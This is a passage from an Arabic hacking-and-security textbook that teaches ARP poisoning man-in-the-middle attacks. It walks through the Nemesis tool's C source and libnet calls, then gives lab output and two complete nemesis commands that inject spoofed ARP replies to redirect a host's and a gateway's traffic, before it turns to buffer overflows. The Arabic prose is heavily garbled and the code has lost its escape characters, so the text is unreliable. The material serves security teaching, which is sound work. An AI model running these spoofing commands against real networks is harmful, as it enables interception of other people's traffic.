‫بال‬ ‫يتعامل‬ MAC .‫احلادث‬ ‫اخللل‬ ‫الحظ‬ُ‫ي‬ ‫قلن‬ ‫ققط‬
  • 229.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [229] ‫ال‬ ‫ذذه‬ ‫ولكن‬ ARP Cache ‫هلا‬ timeout ‫كذلك؟‬ ‫أليس‬ ،‫لدهيا‬ ‫البيانات‬ ‫ِبذه‬ ‫لإلحتفاظ‬ ‫دد‬ ُ ‫حم‬ ‫ال‬ ‫ذذا‬ ً‫ا‬‫تقريب‬ .. timeout ‫تكو‬ ُ‫ه‬‫مدت‬ ‫ن‬ 30 Seconds ، ‫ال‬ ‫عملية‬ ‫عىل‬ ‫ُحاقظ‬‫ن‬ ‫ولكي‬ Redirection ‫بإرسال‬ ‫قسنقوم‬ ‫ذذه‬ " Spoofed ARP Replies " ‫كل‬ 10 Seconds .ً‫ال‬‫مث‬ ‫ال‬ ‫لظهار‬ ‫ن‬‫م‬ ً‫ا‬‫كثري‬ ‫نستفيد‬ ‫لن‬ ‫ذذا‬ ‫ثالنا‬‫م‬ ‫يف‬ ‫ولكن‬ traffic ‫بني‬ ‫املار‬ Bob ‫و‬ Alice ، ‫ال‬ ‫تابعة‬ُ‫م‬ ‫لنا‬ ‫األقضل‬ ‫من‬ ‫سيكون‬ traffic ‫ال‬ ‫أحد‬ ‫بني‬ users ‫و‬ ‫ال‬ ‫بني‬ Gateway ‫ال‬ ‫ذذا‬ ‫طة‬‫أنش‬ ‫ف‬‫َعر‬‫ن‬ ‫كي‬ user .‫االنرتنت‬ ‫عىل‬ ‫ال‬ ‫أداة‬ ‫لذلك‬ ‫نستخدم‬ Ettercap ‫وال‬ ‫اللينكس‬ ‫أنظمة‬ ‫عىل‬ ‫تعمل‬ ‫مشهورة‬ ‫أداة‬ ‫وذي‬ MAC . ‫ال‬ ‫أداة‬ ً‫ا‬‫أيض‬ Nemesis ‫بعمل‬ ‫تقوم‬ " craft and enject packets " .‫الشبكة‬ ‫داطل‬ ‫ال‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ‫يعتمد‬ ‫الذم‬‫وك‬ Libraries ‫ا‬ ‫أشهرذا‬ ‫ل‬ Libnet.c ‫ال‬ ‫و‬ Libpcap.c ، .)‫قليل‬ ‫بعد‬ ‫م‬ُ‫هل‬ ‫(سنأيت‬ ‫ل‬ ‫ن‬ ‫أردت‬ ‫جتر‬ ‫ب‬ ‫ة‬ ‫ال‬ Ettercap ‫ستجد‬ ‫يف‬ Google ‫باللغة‬ ‫الفيديو‬ ‫وملفات‬ ‫الرشوحات‬ ‫من‬ ‫العديد‬ ‫ترشح‬ ‫العربية‬ ‫لك‬ ‫طريقة‬ ‫استخدامها‬ .. ‫أن‬ ُ ‫وحيث‬ ‫ذدق‬ ‫نا‬ ‫قهم‬ ‫قلسفة‬ ‫ال‬ ARP Poisoning ، ‫ال‬ ‫ملفات‬ ‫بفتح‬ ‫قسنبدأ‬ Source ‫األ‬ ‫ذذه‬ ‫أحد‬‫ب‬ ‫اخلاصة‬ ‫دوات‬ !‫عملها‬ ‫آلية‬ ‫وحتليل‬ . Inside Nemesis tool ‫ال‬ ‫ملفات‬ ‫عىل‬ ‫واإلطالع‬ ‫األداة‬ ‫بتحميل‬ ‫سنقوم‬ Source ‫ال‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ِبا‬ ‫اخلاصة‬ Functions ‫ونفهم‬ ‫ستخدمة‬ُ‫مل‬‫ا‬ .‫عملها‬ ‫ميكانيكية‬ ‫ال‬ ‫أداة‬ ‫صفحة‬ ‫ذذه‬ Nemesis .ً‫ا‬‫أيض‬ ‫الويندوز‬ ‫بيئة‬ ‫يف‬ ‫تعمل‬ ‫األداة‬ ‫ذذه‬ :‫االنرتنت‬ ‫عىل‬ http://nemesis.sourceforge.net/ ‫نبذ‬ ‫وذذه‬ ‫ة‬ ‫عنها‬ ‫ِسيعة‬
  • 230.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [230] “Nemesis is a command-line network packet crafting and injection utility. Nemesis can natively craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP and UDP packets”. Using the IP and the Ethernet injection modes, almost any custom packet can be crafted and injected. ‫ال‬ ‫ملف‬ ‫شكل‬ ‫وذذا‬ Source :‫حتميله‬ ‫بعد‬
  • 231.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [231] ‫بال‬ ‫هتمني‬ُ‫م‬ ‫أننا‬ ‫بام‬ ARP Poison ، ‫امللف‬ ‫بفتح‬ ‫سنقوم‬ nemesis-arp.c :‫توياته‬ ُ ‫حم‬ ‫بعض‬ ‫لك‬ ‫ض‬‫َعر‬‫ن‬‫و‬ ،‫بالشكل‬ ‫املوجود‬ /* * $Id: nemesis-arp.c,v 1.1.1.1 2003/10/31 21:29:36 jnathan Exp $ * * THE NEMESIS PROJECT * Copyright (C) 1999, 2000, 2001 Mark Grimes <mark@stateful.net> * Copyright (C) 2001 - 2003 Jeff Nathan <jeff@snort.org> * * nemesis-arp.c (ARP/RARP Packet Injector) * */ #include "nemesis-arp.h" #include "nemesis.h" #if defined(WIN32) #include <pcap.h> #endif static ETHERhdr etherhdr; static ARPhdr arphdr; ... (omitted) void nemesis_arp(int argc, char **argv) { const char *module= "ARP/RARP Packet Injection"; nemesis_maketitle(title, module, version); if (argc > 1 && !strncmp(argv[1], "help", 4)) arp_usage(argv[0]); arp_initdata(); arp_cmdline(argc, argv); arp_validatedata(); arp_verbose(); if (got_payload) {
  • 232.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [232] if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file, (const u_int32_t)PAYLOADMODE) < 0) arp_exit(1); } if (buildarp(&etherhdr, &arphdr, &pd, device, reply) < 0) { printf("n%s Injection Failuren", (rarp == 0 ? "ARP" : "RARP")); arp_exit(1); } else { printf("n%s Packet Injectedn", (rarp == 0 ? "ARP" : "RARP")); arp_exit(0); } } ‫بال‬ ‫اخلاص‬ ‫امللف‬ ‫ذلك‬ ‫كان‬ nemesis_arp( ) . ‫ال‬ ‫ذذه‬ ‫م‬‫َستخد‬‫ت‬ function ‫ال‬ ‫من‬ ‫جمموعة‬ data structures ‫ال‬ ‫ببيانات‬ ‫طاصة‬ packet header ، ‫بداية‬ ‫يف‬ ‫تعريفهم‬ ‫تم‬ ‫ال‬ function ، .‫قليل‬ ‫بعد‬ ‫م‬ُ‫هل‬ ‫سنأيت‬ ‫ث‬ُ‫د‬ َ ‫حي‬ َ ‫كيف‬ ‫ولكن‬ Call ‫ال‬ ‫هلذه‬ nemesis_arp( ) ‫؟‬.. ‫ال‬ ‫ذذه‬ function ‫هلا‬ ‫ث‬ُ‫د‬ َ ‫حي‬ call ‫ال‬ ‫من‬ main( ) ، ‫املوجود‬ ‫ة‬ ‫امللف‬ ‫يف‬ nemesis.c :‫ييل‬ ‫كام‬ #include <stdio.h> #include <unistd.h> #include <string.h> #include "nemesis.h" int main(int argc, char **argv) {
  • 233.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [233] char **avtmp, *avval; extern int optind; avtmp = argv; avval = strrchr(*avtmp, '/'); if (avval++ == NULL) avval = *avtmp; if (!strncmp(avval, "nemesis-arp", 11)) { nemesis_arp(argc, argv); } else if (argc > 1 && !strncmp(argv[1], "arp", 3)) { argv += optind; argc -= optind; nemesis_arp(argc, argv); } … ‫ال‬ ‫لىل‬ ‫نعود‬ nemesis_arp( ) :‫جديد‬ ‫ن‬‫م‬ ‫الب‬ ‫يف‬ ‫ظ‬‫ُالح‬‫ن‬ ‫ال‬ ‫من‬ ‫جمموعة‬ ‫استدعاء‬ ‫عملية‬ ‫داية‬ " Static defined Structures " ‫ال‬ ‫لبعض‬ Headers : Ethernet and ARP Headers.. and more. ‫ال‬ ‫بإظهار‬ ‫سنكتفي‬ ‫لكننا‬ structures ‫ال‬ ‫عن‬ ِّ ‫ُعرب‬‫ت‬ ‫التي‬ Ethernet ‫وال‬ ARP .‫ققط‬ static ETHERhdr etherhdr; static ARPhdr arphdr; ‫من‬ ‫استدعائهم‬ ‫يتم‬ ‫امللف‬ nemesis.h .. ‫ال‬ ‫ذذه‬ ‫وتقوم‬ function ‫بعمل‬ call ‫ألربعة‬ functions :‫م‬ُ‫ذ‬ ،‫عملها‬ ‫عند‬ ‫طرى‬ُ‫أ‬ arp_initdata(); arp_cmdline(argc, argv);
  • 234.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [234] arp_validatedata(); arp_verbose(); ‫ال‬ ‫ذذه‬ functions ‫موجود‬ ‫ة‬ ‫امللف‬ ‫نفس‬ ‫يف‬ nemesis-arp.c :‫تتابعه‬ُ‫م‬ ‫بأدوار‬ ‫سيقوموا‬.. ‫قا‬ ‫ألوىل‬ ‫بعمل‬ ‫تقوم‬ initialize ‫لل‬ data ‫اخلاص‬ ‫ة‬ ‫بال‬ structures ‫املطلوب‬ ‫ة‬ ‫ثم‬ ، ‫الثانية‬ ‫ال‬ ‫مع‬ ‫بالتعامل‬ ‫تقوم‬ cmd-line arguments ، ‫والثالث‬ ‫ة‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫حة‬‫ص‬ ‫ن‬‫م‬ ‫ُد‬‫ك‬‫للتأ‬ ‫ة‬ ، ‫والرابع‬ ‫ة‬ ‫بال‬ ‫طاصة‬ reporting . ‫ال‬ ‫حمتويات‬ ‫لك‬ ‫سأعرض‬ arp_initdata( ) ‫ال‬ ‫لرتى‬ elements ‫اخلاصة‬ ‫بال‬ header structures static void arp_initdata(void) { /* defaults */ etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */ memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */ memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet dest. address */ arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */ arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */ arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */ arphdr.ar_hln = 6; /* 6 byte hardware addresses */ arphdr.ar_pln = 4; /* 4 byte protocol addresses */ memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */ memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */ memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */ memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */ pd.file_mem = NULL; pd.file_s = 0; return; } ‫ال‬ ‫شكل‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬ َ ‫س‬ .. ،‫واآلن‬ Arguments ‫ال‬ ‫ذذه‬ ‫لها‬‫َقب‬‫ت‬‫َس‬‫ت‬ َ ‫س‬ ‫التي‬ function :‫األمور‬ ‫لنا‬ ‫ح‬ َ ‫َض‬‫ت‬‫ل‬
  • 235.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [235] ‫عمل‬َ‫ب‬ ‫نقوم‬ ‫أن‬ َ‫عد‬َ‫ب‬ ping ‫ال‬ ‫حتويل‬ ‫راد‬ُ‫مل‬‫ا‬ ‫للجهاز‬ traffic ‫به‬ ‫اخلاص‬ ‫لل‬ ً‫ا‬‫وأيض‬ Gateway ً‫ة‬‫نتيج‬ ‫سيتولد‬ ،‫الشبكة‬ ‫يف‬ ‫لذلك‬ entry ‫ال‬ ‫يف‬ arp cache ‫ال‬ ‫ِبا‬ ‫لدينا‬ IP Addresses ‫ال‬ ‫مع‬ ‫ِبم‬ ‫اخلاصة‬ MAC .ً‫ا‬‫أيض‬ reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1 PING 192.168.0.1 (192.168.0.1): 56 octets data 64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms --- 192.168.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118 PING 192.168.0.118 (192.168.0.118): 56 octets data 64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms --- 192.168.0.118 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:~/booksrc $ arp -na ? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0 ? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0 reader@hacking:~/booksrc $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1 RX packets:4153 errors:0 dropped:0 overruns:0 frame:0 TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb) Interrupt:9 Base address:0xc000 reader@hacking:~/booksrc $ ‫األمر‬ ‫تنفيذ‬ ‫بعد‬ " arp –na " ‫وال‬ ‫هاز‬‫اجل‬ ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬ ‫عناوين‬ ‫لنا‬ َ‫ر‬َ‫ه‬َ‫ظ‬ gateway ‫عمل‬ ‫راد‬ُ‫مل‬‫ا‬ MITM Attack .‫عليهم‬ ‫ال‬ ‫تشغيل‬‫ب‬ ‫نقوم‬ َ ‫س‬ nemesis :‫ييل‬ ‫كام‬ ‫عليهم‬ ‫اهلجوم‬ ‫وتنفيذ‬
  • 236.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [236] Running Nemesis reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 –D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.1 > 192.168.0.118 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB ARP Packet Injected reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800)
  • 237.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [237] [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected reader@hacking:~/booksrc $ ‫لقد‬ ‫ال‬ ‫بعض‬ ‫باستخدام‬ ‫منا‬ُ‫ق‬ options ‫ال‬ ‫ذذا‬ ‫يف‬ command ‫ال‬ ‫من‬ ‫جزء‬ ‫لك‬ ‫سأعرض‬ ، man page ‫تفهم‬‫ل‬ ‫ِبا‬ ‫اخلاصة‬ .‫دالالهتم‬ reader@hacking:~/booksrc $ nemesis arp help ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4(Build 26) ARP/RARP Usage: arp [-v (verbose)] [options] ARP/RARP Options: -S <Source IP address> -D <Destination IP address> -h <Sender MAC address within ARP frame> -m <Target MAC address within ARP frame> -r ({ARP,RARP} REPLY enable) -R (RARP enable) -P <Payload file> Data Link Options: -d <Ethernet device name> -H <Source MAC address> -M <Destination MAC address> You must define a Source and Destination IP address.
  • 238.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [238] ‫األدا‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ ‫قنا‬ َ‫ر‬َ‫ع‬ ‫لقد‬ ‫ة‬ ‫ال‬ ‫لىل‬ ‫َعود‬‫ن‬‫ل‬ ‫ذيا‬ ، function ‫بال‬ ‫اخلاصة‬ ARP Poison ‫وذي‬ Nemesis_arp( ) .‫دورذا‬ ‫لنستكمل‬ ‫عمل‬ ‫بعد‬ call ‫لألربعة‬ functions ‫ال‬ ‫استدعاء‬ ‫النهاية‬ ‫يف‬ ‫يتم‬ ،ً‫ا‬‫سابق‬ ‫أوضحناذا‬ ‫التي‬ buildarp( ) ‫ستقوم‬ ‫والتي‬ ‫ال‬ ‫بتكوين‬ ARP Packet ‫وعمل‬ inject .‫ا‬ َ‫هل‬ :‫الشكل‬ ‫يف‬ ‫ترى‬ ‫كام‬ ‫ستقل‬ُ‫م‬ ‫ملف‬ ‫يف‬ ‫توجد‬ “nemesis-proto_arp.c”
  • 239.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [239] int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device, int reply) { int n = 0; u_int32_t arp_packetlen; static u_int8_t *pkt; struct libnet_link_int *l2 = NULL; /* validation tests */ if (pd->file_mem == NULL) pd->file_s = 0; arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s; #ifdef DEBUG printf("DEBUG: ARP packet length %u.n", arp_packetlen); printf("DEBUG: ARP payload size %u.n", pd->file_s); #endif if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL) { nemesis_device_failure(INJECTION_LINK, (const char *)device); return -1; } if (libnet_init_packet(arp_packetlen, &pkt) == -1) { fprintf(stderr, "ERROR: Unable to allocate packet memory.n"); return -1; } libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type NULL, 0, pkt); libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H);
  • 240.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [240] n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H + LIBNET_ARP_H + pd->file_s); if (verbose == 2) nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE); if (verbose == 3) nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE); if (n != arp_packetlen) { fprintf(stderr, "ERROR: Incomplete packet injection. Only " "wrote %d bytes.n", n); } else { if (verbose) { if (memcmp(eth->ether_dhost, (void *)&one, 6)) { printf("Wrote %d byte unicast ARP request packet through " "linktype %s.n", n, nemesis_lookup_linktype(l2->linktype)); } else { printf("Wrote %d byte %s packet through linktype %s.n", n,(eth->ether_type == ETHERTYPE_ARP ? "ARP" : "RARP"), nemesis_lookup_linktype(l2->linktype)); } } } libnet_destroy_packet(&pkt); if (l2 != NULL) libnet_close_link_interface(l2); return (n); }
  • 241.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [241] ‫ال‬ ‫ذذه‬ ‫أن‬ ‫ام‬‫وب‬ function ‫ال‬ ‫تكوين‬‫ب‬ ‫ستقوم‬ packet ‫وعمل‬ inject ‫ال‬ ‫تأطذ‬ ‫أهنا‬ ‫توقع‬ُ‫مل‬‫ا‬ ‫ن‬‫م‬َ‫ق‬ ،‫الشبكة‬ ‫كارت‬ ‫عرب‬ ‫هلا‬ Arguments ‫التالي‬ ‫ة‬ : int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device, int reply) ‫ال‬ ‫الستخدام‬ ‫ستحتاج‬ " Ethernet Header Structure " ‫ال‬ ً‫ا‬‫وأيض‬ " ARP Header Structure " ‫ال‬ ‫من‬ Nemesis.h Lib . ‫سنقوم‬ ‫ب‬ ‫ال‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ‫الضوء‬ ‫تسليط‬ functions ‫التي‬ :‫الكود‬ ‫ذذا‬ ‫يف‬ ‫حموري‬ ‫بدور‬ ‫تقوم‬ 1- libnet_open_link_interface() 2- libnet_init_packet() 3- libnet_build_ethernet() 4- libnet_build_arp() 5- libnet_write_link_layer() (1) :‫وذي‬ ‫باألوىل‬ ‫نبدأ‬ libnet_open_link_interface(device, errbuf) ‫ذذه‬ َ ‫َرب‬‫ت‬‫ُع‬‫ت‬ " low-level function ،" ‫بفتح‬ ‫تقوم‬ packet interface ‫ال‬ ‫كتابة‬ ‫نستطيع‬ ‫كي‬ Frame ‫بال‬ ‫اخلاص‬ Link- Layer . ‫ذ‬ ُ ‫تأط‬ ‫قهي‬ Arguments ‫لل‬ interface device ‫وال‬ error buffer ‫ال‬ ‫يف‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬ sniffer .‫قبل‬ ‫من‬ (2) :‫للثانية‬ ‫نأيت‬ ‫ثم‬ ( libnet_init_packet(arp_packetlen, &pkt ‫بعمل‬ ‫تقوم‬ ‫أهنا‬ ‫اإلسم‬ ‫من‬ ‫واضح‬ initialize ‫لل‬ packet ‫ا‬ ‫يتم‬ ‫كي‬ .‫ستخدامها‬
  • 242.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [242] ‫ذذا‬ ‫ال‬ argument ‫األول‬ “arp_packetlen” .. ‫َعريفه‬‫ت‬ ‫َم‬‫ت‬ ‫تغري‬ُ‫م‬ ‫عن‬ ‫باره‬‫ع‬ ‫بد‬ ‫يف‬ ‫ال‬ ‫حجم‬ ‫ه‬‫ب‬ ‫ع‬ َ ‫َض‬‫ن‬‫ل‬ ‫الكود‬ ‫اية‬ ARP Packet : u_int32_t arp_packetlen; arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s; ‫ال‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫سيحوي‬ ARP Header ‫ال‬ ‫و‬ Ethernet Header ‫ال‬ ‫و‬ ARP Payload Size ‫والثاين‬ “&pkt” ‫ال‬ ‫ذو‬ (Address of this packet in memory) . ‫ال‬ ‫ذذه‬ ‫وظيفة‬ ‫ص‬ّ‫تتلخ‬ ..‫هم‬ُ‫مل‬‫ا‬ function ‫بعمل‬ ‫تقوم‬ ‫بأهنا‬ memory allocation ‫لل‬ packet ،‫استخدامها‬ ‫راد‬ُ‫مل‬‫ا‬ ‫لعمل‬ ‫بحاجة‬ ‫سنكون‬ ‫وبالتايل‬ call ‫لل‬ ‫ما‬ ٍ‫بشكل‬ malloc( ) ‫ال‬ ‫ذذه‬ ‫ر‬‫تتذك‬ ‫ذل‬ .. malloc( ) .‫؟؟‬ ‫ال‬ ‫عملية‬ ‫أن‬ ‫تعلم‬ ‫كام‬ allocation ‫نستخدم‬ ‫أن‬ ‫املطلوب‬ ‫انتهاء‬ ‫بعد‬ ‫حتتاج‬ ‫ال‬ Free( ) ‫لعمل‬ Destroy ‫لل‬ memory . ‫استخدام‬ ‫جري‬َ‫ي‬ َ ‫س‬َ‫ق‬ function ‫لذلك‬ ‫لهنا‬ ، libnet_destroy_packet( ) ‫يف‬ ‫جتدذا‬ .‫الكود‬ ‫آطر‬ (3) :‫والثالثه‬ libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type NULL, 0, pkt); ‫ب‬ ‫ذذه‬ ‫تقوم‬ ‫ال‬ ‫تكوين‬ Ethernet Packet ‫ال‬ ‫تستخدم‬ ‫قهي‬ ، Elements ‫اخلاص‬ ‫ة‬ ‫بال‬ ethernet struct . ‫ال‬ ‫ذذا‬ ‫أما‬ ether_type ‫ال‬ ‫نوع‬ ‫عىل‬ ‫ل‬ُ‫د‬َ‫ي‬َ‫ق‬ ether packet .. " ARP, or IP " (4) ‫الرابع‬ ‫ثم‬ ‫ة‬ : libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H); ‫الثالث‬ ‫تشبه‬ ‫ذذه‬ ‫ة‬ ‫ال‬ ‫تكوين‬‫ب‬ ‫ستقوم‬ ‫ولكنها‬ .. ARP Packet .
  • 243.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [243] ‫لل‬ ‫توضيح‬ ‫ماييل‬ Elements ‫ال‬ ‫ذذه‬ ‫يف‬ ‫ستخدمة‬ُ‫مل‬‫ا‬ function : hardware address type, protocol address type, the hardware address length, the protocol address length, the ARP packet type, the sender hardware address, the sender protocol address, the target hardware address, the target protocol address, the packet payload, the payload size, and finally, a pointer to the packet header memory. (5) ‫ال‬ ‫ذذه‬ ‫تأيت‬ ‫م‬ُ‫ث‬ function : libnet_write_link_layer() ‫بعمل‬ ‫لتقوم‬ write ‫ال‬ ‫هلذه‬ packet ‫ال‬ ‫لىل‬ device ‫ال‬ ‫بعملية‬ ‫ليقوم‬ inject . ‫ال‬ ‫تقوم‬ ‫النهاية‬ ‫ويف‬ libnet_destroy_packet(&pkt) ‫بعمل‬ free ‫لل‬ memory ‫خت‬ ‫تم‬ ‫التي‬ ‫لل‬ ‫صيصها‬ Packet . ‫ال‬ ‫ق‬‫ل‬َ‫غ‬ ‫م‬ُ‫ث‬ " low-level interface " ‫ال‬ ‫ذذه‬ ‫باستخدام‬ ً‫ا‬‫أطري‬ function : libnet_close_link_interface ‫قد‬ ‫نكون‬ ‫ِبذا‬ ‫ال‬ َ‫ن‬‫م‬ ‫انتهينا‬ “ARP Poisoning” . ‫ال‬ ‫وذي‬ ‫الشهرية‬ ‫الثغرات‬ ‫من‬ ‫نوع‬ ‫عن‬ ‫لنتكلم‬ ‫اآلن‬ ‫سننتقل‬ “Buffer Overflow” . Buffer Overflow ‫ال‬ Buffer Overflow ‫ال‬ ‫مع‬ ‫تعاملها‬ ‫يف‬ ‫الربامج‬ ‫لدى‬ ‫الضعف‬ ‫قاط‬‫ن‬ ‫تستغل‬ ‫لهنا‬ ،‫االطرتاق‬ ‫يف‬ ‫الشهرية‬ ‫ق‬ ُ‫ر‬ُ‫ط‬‫ال‬ ‫من‬ memory ‫الربنامج‬ ‫ري‬ َ ‫س‬ ‫يف‬ ‫ُم‬‫ك‬َ‫َح‬‫ت‬‫ال‬ ‫ذو‬ ‫الثغرات‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫من‬ ‫اهلدف‬ ‫ويكون‬ ، “the execution flow” ‫ليقوم‬ ‫بتنفيذ‬ instructions ‫أو‬ malicious code ٍ‫مكان‬ ‫يف‬ ُ‫ه‬‫ع‬ َ ‫َض‬‫ن‬ ‫ال‬ ‫داطل‬ ‫ما‬ memory . ‫بال‬ ‫امرسات‬ُ‫مل‬‫ا‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ “Execution of arbitrary code” .
  • 244.
